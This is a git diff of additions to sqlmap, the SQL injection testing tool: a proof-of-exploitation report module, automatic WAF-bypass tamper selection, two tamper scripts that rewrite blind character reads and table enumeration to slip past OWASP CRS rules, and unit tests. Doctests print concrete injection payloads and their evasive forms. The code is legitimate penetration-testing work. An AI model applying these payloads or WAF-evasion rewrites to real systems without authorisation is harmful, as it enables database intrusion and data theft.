new file mode 100644 index 00000000000..f435e6b371b --- /dev/null +++ b/lib/utils/prove.py @@ -0,0 +1,351 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os + +from lib.core.common import Backend +from lib.core.common import average +from lib.core.common import openFile +from lib.core.common import randomInt +from lib.core.common import stdev +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER +from lib.request.inject import getValue + +# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives) +PROVE_REPETITIONS = 5 + +# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, +# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None +_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") + +# width the field labels are padded to, so the values line up in a clean column +_LABEL_WIDTH = 9 + + +def _field(label, value): + """ + Renders one 'Label: value' line (value column aligned), with any extra list items as continuation + lines indented under the value. + """ + + lines = list(value) if isinstance(value, (list, tuple)) else [value] + indent = " " * (_LABEL_WIDTH + 2) + retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "") + for extra in lines[1:]: + retVal += "\n%s%s" % (indent, extra) + return retVal + + +def _activateInjection(injection): + """ + Points the global comparison configuration (and kb.injection) at the injection being proven, so the + boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the + globals drifted to during enumeration. Returns the previous state for restoration. + """ + + saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS) + saved["injection"] = kb.injection + + for attr in _COMPARISON_ATTRS: + setattr(conf, attr, getattr(injection.conf, attr, None)) + kb.injection = injection + + return saved + + +def _restoreInjection(saved): + kb.injection = saved.pop("injection") + for attr, value in saved.items(): + setattr(conf, attr, value) + + +def _booleanOracle(expression): + """ + Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are + forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS + that blocks their function-heavy payloads makes them return None, which (with expectingNone) short- + circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading. + """ + + return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) + + +def _signalArtifacts(expression): + """ + Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page ) of the + response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual + TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error. + """ + + from lib.core.common import extractRegexResult, getCurrentThreadData + from lib.core.settings import HTML_TITLE_REGEX + + try: + _booleanOracle(expression) + threadData = getCurrentThreadData() + return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip() + except Exception: + return None, None + + +def _proveBoolean(injection): + """ + Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already + auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal + line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two + page titles - so a reader sees exactly what tells TRUE from FALSE. + """ + + retVal = [] + n = randomInt() + + trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n))) + falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False) + + line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS) + if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS: + line += ", repeatably" # only claim repeatability when every repetition agreed + retVal.append(line) + + trueCode = trueTitle = falseCode = falseTitle = None + if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them + trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) + falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + + if injection.conf.string: + retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) + elif injection.conf.notString: + retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u')) + elif injection.conf.code: + if trueCode and falseCode and trueCode != falseCode: + retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode)) + else: + retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code) + elif injection.conf.titles: + if trueTitle and falseTitle and trueTitle != falseTitle: + retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u'))) + else: + retVal.append("the page <title> differs between the TRUE and FALSE responses") + else: + retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)") + + return retVal + + +def _proveTime(injection): + """ + Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the + statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR), + it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled + delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to + a baseline-vs-jitter statement. + """ + + from lib.core.agent import agent + from lib.core.common import getCurrentThreadData, popValue, pushValue + from lib.request.connect import Connect as Request + + retVal = [] + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + vector = (injection.data.get(stype) or {}).get("vector") + + def _baselineStatement(): + baseline = kb.responseTimes.get(kb.responseTimeMode) or [] + if len(baseline) >= 2: + return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline)) + return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably" + + if not (vector and SLEEP_TIME_MARKER in vector): + retVal.append(_baselineStatement()) + return retVal + + n = randomInt() + base = conf.timeSec or 5 + measurements = [] + + benign = [] + for _ in range(3): + try: + Request.queryPage(timeBasedCompare=True, raise404=False, silent=True) + benign.append(getCurrentThreadData().lastQueryDuration) + except Exception: + pass + for k in (0, base, 2 * base): + pushValue(conf.timeSec) + conf.timeSec = k + try: + query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n)))) + Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True) + measurements.append((k, getCurrentThreadData().lastQueryDuration)) + except Exception: + measurements.append((k, None)) + finally: + conf.timeSec = popValue() + + if any(d is None for _, d in measurements): + retVal.append(_baselineStatement()) + return retVal + + d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) + baseAvg = average(benign) if benign else d0 + baseStd = stdev(benign) if len(benign) >= 2 else 0.0 + + # only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline, + # Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but + # does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic) + linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT + + if linear: + retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements))) + retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)") + else: + retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd)) + retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces") + + return retVal + + +def _retrieveProof(): + """ + Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest: + + 1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no + table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are + random, so reading the exact product back proves the back-end actually executed injected SQL + (not a reflected constant); + 2. the DBMS banner: a real datum the application never returns on its own (the strongest proof). + + Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one + DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present. + """ + + from lib.request import inject + + retVal = [] + + a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable + try: + result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True) + except Exception: + result = None + if result is not None and ("%s" % result).strip() == str(a * b): + retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b))) + + label = value = None + for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled + (conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"), + (conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"), + (conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"), + ): + if requested and candidate: + label, value = lbl, unArrayizeValue(candidate) + break + + if value is None: + dbms = Backend.getIdentifiedDbms() + banner = getattr(queries.get(dbms), "banner", None) if dbms else None + query = getattr(banner, "query", None) if banner else None + if query: + try: + value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True)) + label = "back-end DBMS banner" + except Exception: + value = None + + if value: + retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u')))) + + return retVal + + +def proveExploitation(): + """ + Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point + (option '--prove'), in the same style as sqlmap's injection-point summary so it reads naturally: the + target URL and the confirmed injection point (parameter / type / title / payload), then the strongest + proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive + one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the + distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both + to stdout and to '<output>/proof.txt'. + """ + + if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections): + return + + injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + + saved = _activateInjection(injection) + try: + if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + stype = PAYLOAD.TECHNIQUE.BOOLEAN + proof = _proveBoolean(injection) + elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + proof = _proveTime(injection) + elif PAYLOAD.TECHNIQUE.ERROR in injection.data: + stype = PAYLOAD.TECHNIQUE.ERROR + proof = ["the back-end error message returns the requested value directly"] + elif PAYLOAD.TECHNIQUE.UNION in injection.data: + stype = PAYLOAD.TECHNIQUE.UNION + proof = ["the requested value is rendered inside the application response"] + else: + stype = next(iter(injection.data), None) + proof = [] + + rungs = _retrieveProof() + finally: + _restoreInjection(saved) + + from lib.core.agent import agent + + target = conf.url or "" + if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path + target += "?%s" % conf.parameters[PLACE.GET] + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place + sdata = injection.data.get(stype) + + fields = [_field("Target", target)] + if conf.parameters.get(PLACE.POST): + fields.append(_field("Data", conf.parameters[PLACE.POST])) + fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType))) + if sdata is not None: + fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype])) + if sdata.payload: + payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) + fields.append(_field("Payload", payload)) + if proof: + fields.append(_field("Proof", proof)) + if rungs: + for label, text in rungs: + fields.append(_field(label, text)) + else: + fields.append(_field("Retrieved", "(no value could be read back; the proof above still confirms exploitation)")) + + data = "\n".join(fields) + header = "sqlmap proved exploitation of the following injection point" + conf.dumper.string(header, data) + + try: + path = os.path.join(conf.outputPath or ".", "proof.txt") + with openFile(path, "w+") as f: + f.write("%s:\n---\n%s\n---\n" % (header, data)) + logger.info("proof of exploitation written to '%s'" % path) + except Exception: + pass diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py new file mode 100644 index 00000000000..f50fea9f55a --- /dev/null +++ b/lib/utils/wafbypass.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import os +import struct +import sys + +from lib.core.common import fetchRandomAgent +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import paths +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import WAF_BYPASS_HTTP_HEADERS +from lib.core.settings import WAF_BYPASS_TAMPERS + + +def neutralizeFingerprint(): + """ + Makes the request look like a real browser (random non-scanner User-Agent from the canonical + 'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language), + used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT] + (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent + and the HTTP header list are updated too. Returns the previous state so the change can be reverted. + """ + + saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT)) + + userAgent = fetchRandomAgent() + + conf.agent = userAgent + if PLACE.USER_AGENT in conf.parameters: + conf.parameters[PLACE.USER_AGENT] = userAgent + + overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS)) + upper = dict((_.upper(), _) for _ in overrides) + headers, seen = [], set() + for header, hvalue in conf.httpHeaders: + if header.upper() in upper: + headers.append((header, overrides[upper[header.upper()]])) + seen.add(header.upper()) + else: + headers.append((header, hvalue)) + for header, hvalue in overrides.items(): + if header.upper() not in seen: + headers.append((header, hvalue)) + conf.httpHeaders = headers + + return saved + +# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation +# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py: +# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore +# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking +# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions +# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance). +_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*" + +_DATA = None + + +def _data(): + global _DATA + if _DATA is None: + path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json") + with open(path, "rb") as f: + _DATA = json.loads(f.read().decode("utf-8")) + return _DATA + + +def identYwafBlockedVectors(wafName): + """ + Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded + from its bundled blind signatures (majority vote across signature variants). Empty set if the + WAF/signatures are unknown. + + >>> isinstance(identYwafBlockedVectors("cloudflare"), set) + True + """ + + retVal = set() + + wafs = _data().get("wafs", {}) + info = wafs.get(wafName) or wafs.get((wafName or "").lower()) + if not info: + return retVal + + expected = len(_data().get("payloads", [])) + counts, total = {}, 0 + for signature in info.get("signatures", []): + try: + raw = base64.b64decode(signature.split(':', 1)[-1]) + except Exception: + continue + words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else () + if len(words) != expected: # only consider signatures over the current vector set + continue + total += 1 + for index, word in enumerate(words): + if word & 1: + counts[index] = counts.get(index, 0) + 1 + + if total: + retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants + + return retVal + + +def candidateTampers(identifiedWafs=None): + """ + Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the + empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the + identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on + tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by + re-running detection through each candidate, so no DBMS pre-filtering is needed here. + + >>> "between" in candidateTampers() + True + >>> "equaltolike" in candidateTampers() + True + """ + + retVal = list(WAF_BYPASS_TAMPERS) + + blocked = set() + for waf in (identifiedWafs or []): + blocked |= identYwafBlockedVectors(waf) + + if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS): + retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"] + + return retVal + + +def loadTamper(name): + """ + Imports a tamper script by name from the tamper directory and returns its 'tamper' function + (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use. + """ + + dirname = paths.SQLMAP_TAMPER_PATH + if dirname not in sys.path: + sys.path.insert(0, dirname) + + module = __import__(str(name)) + function = getattr(module, "tamper", None) + if function is not None: + function.__name__ = name + + return function diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py new file mode 100644 index 00000000000..41f0d7bd7f4 --- /dev/null +++ b/tamper/blindbinary.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def _balancedEnd(payload, start): + """Index of the ')' matching the '(' at payload[start] (or -1).""" + depth = 0 + idx = start + while idx < len(payload): + if payload[idx] == '(': + depth += 1 + elif payload[idx] == ')': + depth -= 1 + if depth == 0: + return idx + idx += 1 + return -1 + +def _reshape(payload, opener, tail, build): + """Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match).""" + retVal = payload + pos = 0 + while True: + match = re.search(opener, retVal[pos:]) + if not match: + break + start = pos + match.start() + cursor = pos + match.end() # should sit on the '(' of the query argument + if cursor >= len(retVal) or retVal[cursor] != '(': + pos = pos + match.end() + continue + end = _balancedEnd(retVal, cursor) + if end < 0: + pos = pos + match.end() + continue + query = retVal[cursor:end + 1] # '(<query>)' + rest = re.match(tail, retVal[end + 1:]) + if not rest: + pos = pos + match.end() + continue + replacement = build(query, rest) + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] + pos = start + len(replacement) + return retVal + +def tamper(payload, **kwargs): + """ + Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that + sheds the function names anomaly-scoring WAFs key on: + + * MySQL: ORD(MID((<q>),<p>,1))><n> + -> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn> + * SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...))) + -> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn> + + Requirement: + * MySQL or Microsoft SQL Server + + Notes: + * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names + ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). + LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while + the single-character, byte-ordered semantics of the bisection are preserved. + * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) + comparison, so extraction stays exact under a case-insensitive default collation. Both use a + native hex literal (0x<nn>), so nothing needs string-escaping. + * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the + end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops + extraction, exactly like the original. A constant 1 would keep returning the last character + forever and never terminate. + + >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') + '1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' + >>> tamper('1 AND 5141=5141') + '1 AND 5141=5141' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41' + >>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') + '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' + """ + + if not payload: + return payload + + def _mysql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mssql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + # shed sqlmap's SQL Server retrieval wrapper 'ISNULL(CAST(<x> AS NVARCHAR(<n>)),CHAR(<m>))' -> '(<x>)': + # CHAR()/CAST are themselves scored by ASCII/SUBSTRING-class WAFs (unlike MySQL's 0x20 hex), so for a + # clean inner query the whole read goes function-free (NULLs then read as end-of-string) + query = re.sub(r"(?i)ISNULL\(CAST\((.+?) AS NVARCHAR\(\d+\)\),\s*CHAR\(\d+\)\)", r"(\1)", query) + return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) + + comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" + retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) + retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) + return retVal diff --git a/tamper/infoschema2innodb.py b/tamper/infoschema2innodb.py new file mode 100644 index 00000000000..053242cc531 --- /dev/null +++ b/tamper/infoschema2innodb.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Rewrites MySQL table-enumeration off 'information_schema.tables' onto the InnoDB statistics + table 'mysql.innodb_table_stats' (table_schema -> database_name), to dodge WAF rules that flag + the 'information_schema' name (e.g. OWASP CRS 942140 'common DB names') + + Requirement: + * MySQL + + Notes: + * 'information_schema' is a hard token for anomaly-scoring WAFs (CRS rule 942140), so table + enumeration is blocked even when the single-character read itself is not. 'mysql.innodb_table_stats' + exposes (database_name, table_name) for every InnoDB table and is NOT on those blocklists, so the + same enumeration passes. Pair with 'blindbinary' to also get the per-character read through. + * Only InnoDB tables are listed (no MyISAM/MEMORY tables, no views) and SELECT on the 'mysql' + schema is required (granted to root and most admin users). + * Column enumeration (information_schema.columns) has no such InnoDB equivalent; provide the + columns explicitly (-C) when behind such a WAF, or fall back to common-columns brute forcing. + + >>> tamper('SELECT table_name FROM information_schema.tables WHERE table_schema=0x6d6173746572 LIMIT 0,1') + 'SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=0x6d6173746572 LIMIT 0,1' + >>> tamper('SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x61') + 'SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x61' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + retVal = payload + + if retVal and re.search(r"(?i)information_schema\.tables", retVal): + retVal = re.sub(r"(?i)information_schema\.tables", "mysql.innodb_table_stats", retVal) + retVal = re.sub(r"(?i)table_schema", "database_name", retVal) + + return retVal diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py new file mode 100644 index 00000000000..9e69ef25ada --- /dev/null +++ b/tests/test_wafbypass.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +T1 - automatic WAF-bypass tamper selection (lib/utils/wafbypass.py). These cover the pure, +offline pieces: the identYwaf blind-signature decoder (which provocation vectors a known WAF +blocks), the data-ranked / DBMS-filtered / identYwaf-pruned candidate ordering, and the runtime +tamper loader. The end-to-end "adopt a tamper that restores detection" behaviour is exercised by +the --auto-tamper vuln-test case (lib/core/testing.py) against the vulnserver WAF emulator. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.wafbypass import candidateTampers, identYwafBlockedVectors, loadTamper + + +class TestIdentYwafDecoder(unittest.TestCase): + def test_known_waf_decodes_to_blocked_vectors(self): + # cloudflare has bundled blind signatures -> a non-trivial set of blocked vector indices, + # all within range of the 45 provocation vectors + blocked = identYwafBlockedVectors("cloudflare") + self.assertTrue(len(blocked) > 5) + self.assertTrue(all(isinstance(_, int) and 0 <= _ < 45 for _ in blocked)) + + def test_unknown_waf_is_empty(self): + self.assertEqual(identYwafBlockedVectors("definitely-not-a-real-waf"), set()) + self.assertEqual(identYwafBlockedVectors(None), set()) + + +class TestCandidateRanking(unittest.TestCase): + def test_structural_first(self): + cands = candidateTampers() + # the empirically strongest structural substitutions lead, ahead of camouflage + self.assertEqual(cands[0], "equaltolike") + self.assertIn("between", cands[:3]) + self.assertLess(cands.index("between"), cands.index("space2comment")) + + def test_no_dbms_prefiltering(self): + # DBMS compatibility is verified at runtime (detection re-run through the tamper), not here, + # so the full candidate set is offered regardless of any guessed back-end DBMS + cands = candidateTampers() + self.assertIn("versionedkeywords", cands) + self.assertIn("space2hash", cands) + self.assertIn("between", cands) + + def test_identYwaf_prior_prunes_camouflage(self): + # a WAF whose profile blocks comment-obfuscated vectors should have comment-insertion + # camouflage pruned (it cannot help there), while structural candidates survive + base = candidateTampers() + pruned = candidateTampers(identifiedWafs=["cloudflare"]) + self.assertIn("equaltolike", pruned) + self.assertNotIn("space2comment", pruned) + self.assertLessEqual(len(pruned), len(base)) + + +class TestLoadTamper(unittest.TestCase): + def test_loads_and_applies(self): + fn = loadTamper("between") + self.assertTrue(callable(fn)) + self.assertEqual(fn.__name__, "between") + # the loaded function is the real tamper transform + self.assertEqual(fn(payload="1 AND A>B"), "1 AND A NOT BETWEEN 0 AND B") + + def test_missing_returns_none_or_raises(self): + # a non-existent script must not silently yield a bogus callable + try: + self.assertIsNone(loadTamper("no_such_tamper_script_xyz")) + except Exception: + pass # an import error is also acceptable; what matters is no fake function + + +if __name__ == "__main__": + unittest.main() From 002a28f7f0093a88370726a7396ad63832e91994 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 13:04:59 +0200 Subject: [PATCH 576/853] Couple of bug fixes --- data/txt/sha256sums.txt | 12 ++- data/xml/queries.xml | 2 +- lib/controller/checks.py | 8 ++ lib/core/settings.py | 4 +- lib/utils/dialect.py | 120 ++++++++++++++++++++++++ plugins/dbms/mssqlserver/enumeration.py | 8 +- plugins/generic/databases.py | 4 +- tests/test_dialectdbms.py | 106 +++++++++++++++++++++ 8 files changed, 250 insertions(+), 14 deletions(-) create mode 100644 lib/utils/dialect.py create mode 100644 tests/test_dialectdbms.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1f1e5bbd07a..f6a88d4c87e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -9d7dcbc6c5e368c44db851865ff49c791c3dee1ee62d8c02af8f8b15f4551aed data/xml/queries.xml +38882b6ceb8bca59ce8ed927abe3b8840394c56b3881371c2103e229b8795040 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py 3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py 